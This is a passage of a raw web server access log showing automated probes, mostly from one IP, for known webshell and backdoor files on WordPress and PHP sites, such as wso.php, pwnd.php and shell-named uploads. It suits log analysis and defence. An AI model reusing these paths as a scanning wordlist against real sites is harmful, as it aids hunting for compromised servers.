+0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:03 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:05 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:07 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:09 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:04 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:06 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 115.45.42.19 - - [08/Feb/2026:22:40:43 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.2799.87 Safari/537.36 Edge/18.18362" 20.63.81.215 - - [08/Feb/2026:22:39:19 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.152.72.247 - - [08/Feb/2026:22:48:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.18.16.150 - - [08/Feb/2026:22:52:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 45.84.176.177 - - [08/Feb/2026:22:22:37 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 165.22.252.113 - - [09/Feb/2026:00:22:25 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.28.246.54 - - [09/Feb/2026:03:08:31 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 62.141.44.236 - - [09/Feb/2026:03:48:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 185.92.26.12 - - [09/Feb/2026:04:10:43 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:44 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:10:44 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:45 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:45 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:46 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:46 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:10:46 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:10:47 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:47 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:10:48 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:48 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:10:49 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:10:49 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:10:50 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:10:50 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:51 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:10:51 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:52 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:52 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:53 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:10:53 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:53 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:54 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:54 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:10:55 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:10:55 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:10:56 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:56 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:56 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:57 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:10:57 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:58 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:10:58 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:10:58 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:59 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:10:59 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:00 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:00 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:01 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:01 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:02 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:02 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:02 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:03 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:04 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:04 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:04 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:05 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:11:05 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:06 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:11:06 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:11:07 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:07 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:07 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:08 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:08 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:09 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:09 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:10 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:10 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:10 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:11 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:11 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:11:12 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:12 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:13 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:13 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:13 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:14 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:14 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:15 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:15 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:16 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:11:16 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:11:17 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:17 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:11:18 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:18 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:18 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:19 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:19 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:20 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:20 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:21 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:21 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:11:22 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:22 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:22 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:11:23 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:11:23 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:11:24 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:11:24 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:25 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:25 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:25 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:26 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:26 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:27 